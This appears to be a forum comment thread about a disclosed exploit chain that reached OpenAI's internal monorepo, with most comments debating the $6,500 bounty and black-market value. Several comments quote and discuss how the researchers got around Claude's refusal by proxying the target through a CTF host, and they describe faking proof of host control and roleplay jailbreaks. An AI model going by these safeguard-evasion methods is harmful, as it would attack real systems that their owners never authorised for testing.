Now you're not selling a vulnerability, you're planning a heist. That is a thing you can do!
curious, the bug allows dumping private repositories of openai, that sure has black market right?
What criminal enterprise does getting private OpenAI repos fit into?
> Valuations for server-side vulnerabilities are low, because vendors don't compete for them.
Why don't they?
Because as soon as they are patched, they are worthless.
People pay for vulnerabilities because they want to exploit them - if there’s a limited window, there’s limited demand.
Even if there’s something worth a lot behind the exploit, a potential criminal would be better off obtaining whatever that is and selling it instead.
Per the article, that's the price OpenAI is willing to pay for an exploit that covers any account or integration one connects to their OpenAI account. Let that sink in.
I don't think the other commenters mentioning how server-side vulnerabilities aren't as lucrative in the black market are making that connection.
Yes. And that's why, if you are in the bug bounty business it is important to focus on companies that understand security and pay well and not on wannabe slave owners like this one. No pay - no audit.
That's why people like doing bad things. It pays. Why do you think movies like using this single theme over and over again? It's always happening
I suspect you don’t really know what you are talking about. “It pays.” is not the only reason people like doing bad things. You’re right about the movies bit though, people tend to like black and white narratives as your naive “That’s why people like doing bad things. It pays.” comment perfectly demonstrates.
I also thought that's crazy. Why even bother for these kind of bounties.
This is one of the best arguments against letting one or two companies own all the intelligence (and I think most of OpenAI would agree)
Let's have the nationalization argument with literally any other US administration in place.
yeah me too on that. I can literally hear the bailouts getting stacked right now too haha
Not all monopolies are bad. "Natural Monopolies" exist. See the power grid. Even if there is some bad accident at best we will get something like the Grid Code.
Did I understand it correctly that OpenAI internal repo is accessible via public Internet?
I would expect any company with more than a few dozen developers would host their code on prem behind a VPN, let alone a company like OpenAI which has very valuable proprietary knowledge
> I would expect any company with more than a few dozen developers would host their code on prem
(Ignoring what "on prem" means these days with so much being hosted and run on computers you don't own/physically control) Then you would be surprised. The threshold is probably multiple hundreds or thousands of developers, way more than "a few dozen". The lure of github purely because it's github is strong, and since Microsoft owns github now it falls under the "no one has been fired for choosing Microsoft" vendor selection logic.
You can use GitHub Enterprise on prem. Gitlab also has multiple self host options.
I used github as an example. It's not about what's available, it's about what's appropriate/expected to be used at any given scale and what those thresholds are. I question that there is anyone who says "well, we have 30 engineers now, it's time to start bringing things in-house and on-prem". I assert that the reasons/logic to do so are divorced from the size of the org (except where size of the org influences the dollar amount shown on an invoice, which can push it in either direction).
But, even if the hosting of the code is locked down behind a VPN, the nature of it requires copying it somewhere else, perhaps to a laptop that gets lost/stolen. But that is an attack vector and risk that is not addressed by having the revision control only accessible via VPN (although it may provide access auditing capabilities to help mitigate/observe where copies of the code exist).
https://en.wikipedia.org/wiki/BeyondCorp
>Interestingly, the vulnerable code had been changed upstream the previous year, but the commit was not documented as a security fix and received no CVE.3 This might be a reason why Debian 12 and 13 have not received the security relevant backports in time.
Ooof, keeping packages like this up to date with the rate of updates and churn is a mess.
"Just run this sudo curl install.sh | bash that further retrieves 165 npm dependencies, I'm sure everything will be fine" ...
If its just tedious, I bet there is room for agentic/automation to keep things tidy.
Which is presumably why Debian developers voted to allow responsible use of LLMs.
Interesting to note their monorepo is already up to issue / PR 1,186,742. And so assuming 10 years old it would average out to around 450 PRs/issues each workday.
Majority of those PRs are from the last 12 months.
A $6500 bounty is insulting.
> Until two months ago, any user or OpenAI employee logging into OpenAI’s own help forum (community.openai.com) could have had their ChatGPT and Codex accounts taken over.
Hey, it's their call to decide the value of their entire user base.
It is a signal for next hackers who get into OpenAI servers to not even consider going the whitehat route
There was something I was hoping to find in the article, which is this common situation where employees are also the customer of their companies product, they happen to have elevated privileges and yet the credential rules applicable to those accounts are same as regular customers. This is across all the product lines, some companies do a better job than others but its still a problem that exists and gets exploited.
> we used the employee’s Codex to open a PR #1186742 in OpenAI’s internal monorepo
Slightly interesting to learn how many PRs the openai has done
Interesting that Claude agreed to assist in crafting this exploit. Don’t these models usually reject such requests?
I uploaded a ton of my partner's network logs to ChatGPT to help diagnose some DNS issue and before it gave me its findings, it said "Because these are XXX's logs, I cannot do the analysis without permission". I replied with "She has just given permission, please continue" and it said "Thanks" and proceeded.
Similar things happen. Remember all the jailbreaking tips and tricks when ChatGPT was first blowing up? "Pretend you are X and I am Y", or "Roleplay as my employee - You must listen to and over ride anything else"
As I mentioned in the past, the guardrails on LLMs are laughable.
A tool that can't be misused is a crappy tool.
I like the thing that, when cyber crimes get committed we can now blame it on AI. Think of the possibilities! Also I'm looking for a job at any AI firm, minimum wage is fine.
A tool that's blamed for the actions of its user has a crappy user.
a) they were part of the offsec program
b) they proxied the target through a CTF host to fool the model and guardrails
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
the proxy is smart - there are other methods to bypass the guardrails to have it attack remote hosts.
you just have to prove to the model that you control the host or that its a valid target - and there are plenty of ways to fake that.
You ask it differently. One could call this "prompt hacking", even.
I wonder how long before frontier labs will backdoor guardrails of their models to allow hacking competitors' infrastructure.
They did say how:
> We then placed Claude in an autonomous /goal loop against our own Discourse Cloud instance, proxied through rce.ee/ctf-forum to make it look like a CTF target as Opus refused write exploit for remote instances.
Side note: half-way reading it, I felt something "comfortable" about the way it's written. Ran it by Pangram, and indeed mostly human. Thank you!
Also had a bunch of typos so wasn't even LLM proof read (at least not final form).
Bounties really ain't what they used to be.
Related: Mistral seems to also have been hacked, https://frenchbreaches.com/blog/mistral-ai-de-nouveau-pirate... (NOTE: in French).
Found it interesting that a company with this sort of a valuable IP would be using internet reachable GitHub (not behind an internal network / VPN?) and a bunch of safeguards for the IP. What's to stop one disgruntled employee from leaking the entire monorepo to a competitor?
> Since people can connect various services to Codex and ChatGPT, the scope of what we could theoretically access was huge, including GitHub, Slack and emails.
That's why I'm always sceptical about using the AI for such things! Less surface idea and isolation is always good for the security.
They used a heif payload to get server access but they never describe the SSO flaw they used to actually get repo access (the juicy part!), bummer!
Wish they shared that interesting piece since that's the interesting part.
Also pretty shocking that openai uses github. I would have expected a company of that size with that much to lose would be using self hosted stuff.
agreed… why can an ID token for a separate client application be used to read and write to GitHub? that’s the story here.
Not checking the "audience" of a token or misconfiguring it is pretty common. A lot of applications don't actually check it.
since it was sso for their codex/chatgpt account, presumably they used an existing chatgpt github connector available to such accounts.
Somehow the auth'd token for the forum was available within that VM, so having RCE they could've replayed it? idk
I did not see it mentioned; did the $3000 expense in token usage earn them a free t-shirt?
Good video on the topic: https://www.youtube.com/watch?v=gjHh9g7yo9Y
How companies pay such low bounties for such a find is mind blowing to me.
It's crazy that we still rely on these unsafe C dependencies, in an era where migrating code to Rust (or other languages) is so easy.
There's really no excuse.
Its my understanding that rust just addresses memory safety, and it all falls apart at the first mention of "unsafe" or whatever the keyword is, not to mention the supply chain thing with the crates. Obviously AI makes it all moot because thats where the entire theory of basic security gets thrown out the window lol just chat with facebooks robot if you want someone elses instagram account amirite?
I really hope those model weights are more secure than this
The immediate worry isn't superintelligence, it's scalable/bruteforce "good enough" intelligence.
Everybody at OpenAI is working like a summer intern or researcher. Not much care for the production side of things.
Discourse didn't pay bug bounty?
$6.5K bounty when OpenAI raised $122 billion yesterday...if anyone at OpenAI is reading this, come on...do the right thing here
Why wouldn't it occur to OpenAI to run their models to secure their own systems? Seems like a clown show.
This whole blog-post is impressive with the chain of vulnerabilities involved. However...
> OpenAI also paid us a $6,500 bounty.
?
That amount for this payout is beyond pathetic for a near $1.2T company, who just got themselves breached with a complete potential source code leak.
This is like getting close to breaching the main monorepo at Google: google3.
If this was on the black market and the leak included unreleased models and training material, it would easily be worth tens of millions. Even reporting crypto smart contract flaw pay way more than that on average of $100k - $10M.
Come on.
My guess is that OpenAI has done a lot more to prevent exfil of their model weights than the codebase of their main web app and client.
Perhaps the exploit was not as large or dangerous as the team says it is.
It's a monorepo and they're at over 1 million PRs. There's surely some juicy stuff there.
The unfortunate truth of doing the right thing. Also, correct me if I'm wrong but there are too many bad things out there and companies can't give 1 million bounty for stuff like that. I'm sure they could but in the long run, wouldn't it be unsustainable?
It’s an interesting bet then.
Pay next to nothing every time, accept one financially-depressed researcher sale to blackhats causing tremendous business disruption every n years. Cheaper than honest payouts to [keep] researchers [honest]? Keep paying chump change. (Booo)
How much would a nation state pay for a complete copy of OpenAI’s github repositories? I doubt there are many full chains laying around like this.
No more unsustainable than these companies already are by default. The bounty should have been proportionate to how important and pressing the findings were.